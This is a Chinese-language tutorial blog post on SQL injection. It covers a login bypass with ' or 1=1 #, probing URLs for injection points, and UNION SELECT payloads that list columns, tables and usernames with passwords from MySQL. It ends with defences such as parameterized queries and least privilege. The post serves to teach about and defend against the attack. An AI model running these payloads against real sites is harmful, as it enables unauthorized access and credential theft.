SQL注入的实现以及防范示例详解


Posted in MySQL onJune 02, 2021

什么是SQL注入

SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。

Sql 注入产生原因

我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。

登录案例讲解

select * from admin where uname='用户名' and pwd='密码'

输入 'or 1=1 #(?空格或?+或#:注释掉后面的sql语句)

这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码',这时SQL语句永远成立,绕过登录。

基于GET方式的SQL注入

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。

可登陆到mituan.zone进行测试

1、' '1'' LIMIT 0,1 ' :多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = 'id' limit 0,1

2、' ' LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1

3、' '1'') LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1

4、单引号、括号都不报错说明被接收的是字符串类型' "1"") LIMIT 0,1 ':多了一个双引号

可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1

SQL注入利用

1、利用order by判断字段数

order by n(n为猜测字段数)--+

以案例一为例

select login_name,password from admin where id = 'id' limit 0,1
用?id=1' order by 11--+

猜测错误时则会报错

SQL注入的实现以及防范示例详解

此时探测到有3个字段,用?id=0' union select 1,2,3--+探测到Login_name在第二列,Password在第三列,则第二、三列可利用。

SQL注入的实现以及防范示例详解

?id=0' union select 1,2,3--+2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用MYSQL数据库名,version():查看当前MYSQL版本,如改为?id=0'union select 1,user(),database()--+ 得到下图中信息

SQL注入的实现以及防范示例详解

2、利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

SQL注入的实现以及防范示例详解

3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

SQL注入的实现以及防范示例详解

4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)

union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)

SQL注入的实现以及防范示例详解

如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句

SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解

这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据

SQL 注入的防范方法

  • 对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。
  • 编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。
  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

总结

到此这篇关于SQL注入的实现以及防范的文章就介绍到这了,更多相关SQL注入实现及防范内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

MySQL 相关文章推荐
mysql的MVCC多版本并发控制的实现
Apr 14 MySQL
MySQL中你可能忽略的COLLATION实例详解
May 12 MySQL
MySQL完整性约束的定义与实例教程
May 30 MySQL
Centos7中MySQL数据库使用mysqldump进行每日自动备份的编写
Aug 02 MySQL
SQL实现LeetCode(180.连续的数字)
Aug 04 MySQL
SQL IDENTITY_INSERT作用案例详解
Aug 23 MySQL
MYSQL 的10大经典优化案例场景实战
Sep 14 MySQL
SQL注入详解及防范方法
Dec 06 MySQL
千万级用户系统SQL调优实战分享
Mar 03 MySQL
Linux系统下MySQL配置主从分离的步骤
Mar 21 MySQL
WINDOWS 64位 下安装配置mysql8.0.25最详细的教程
Mar 22 MySQL
jdbc中自带MySQL 连接池实践示例
Jul 23 MySQL
如何自己动手写SQL执行引擎
MySQL 8.0 Online DDL快速加列的相关总结
MySQL 常见存储引擎的优劣
Jun 02 #MySQL
Mysql文件存储图文详解
一文读懂navicat for mysql基础知识
Mysql数据库索引面试题(程序员基础技能)
MySQL CHAR和VARCHAR该如何选择
May 31 #MySQL
You might like
PHP 编写的 25个游戏脚本
2009/05/11 PHP
php 解决substr()截取中文字符乱码问题
2016/07/18 PHP
JavaScript URL参数读取改进版
2009/01/16 Javascript
js 中 document.createEvent的用法
2010/08/29 Javascript
页面右下角弹出提示框示例代码js版
2013/08/02 Javascript
jquery实现可点击伸缩与展开的菜单效果代码
2015/08/31 Javascript
Web前端框架Angular4.0.0 正式版发布
2017/03/28 Javascript
AugularJS从入门到实践(必看篇)
2017/07/10 Javascript
webpack构建react多页面应用详解
2017/09/15 Javascript
jQuery自动或手动图片切换效果
2017/10/11 jQuery
小程序云开发教程如何使用云函数实现点赞功能
2019/05/18 Javascript
vue项目创建步骤及路由router
2020/01/14 Javascript
js原生map实现的方法总结
2020/01/19 Javascript
vue实现输入框自动跳转功能
2020/05/20 Javascript
jquery实现简单每周轮换的日历
2020/09/10 jQuery
[01:41]DOTA2超级联赛专访YYF 称一辈子难忘TI2
2013/05/28 DOTA
Python urlopen 使用小示例
2008/09/06 Python
Python help()函数用法详解
2014/03/11 Python
Python Numpy库安装与基本操作示例
2019/01/08 Python
Python使用urllib模块对URL网址中的中文编码与解码实例详解
2020/02/18 Python
增大python字体的方法步骤
2020/07/05 Python
python中的unittest框架实例详解
2021/02/05 Python
Sunglasses Shop瑞典:欧洲领先的太阳镜网上商店
2018/04/22 全球购物
建筑行业的大学生自我评价
2013/12/08 职场文书
业务副厂长岗位职责
2014/01/03 职场文书
党员岗位承诺口号大全
2014/03/28 职场文书
离婚财产分隔协议书
2014/10/23 职场文书
幼儿园教师安全责任书
2015/05/08 职场文书
学生会任命书范本
2015/09/21 职场文书
我的暑假生活作文(五年级)范文
2019/08/07 职场文书
nginx实现发布静态资源的方法
2021/03/31 Servers
SQL Server基本使用和简单的CRUD操作
2021/04/05 SQL Server
JavaScript事件的委托(代理)的用法示例详解
2022/02/18 Javascript
Vue的列表之渲染,排序,过滤详解
2022/02/24 Vue.js
Python+Pillow+Pytesseract实现验证码识别
2022/05/11 Python
JavaScript架构搭建前端监控如何采集异常数据
2022/06/25 Javascript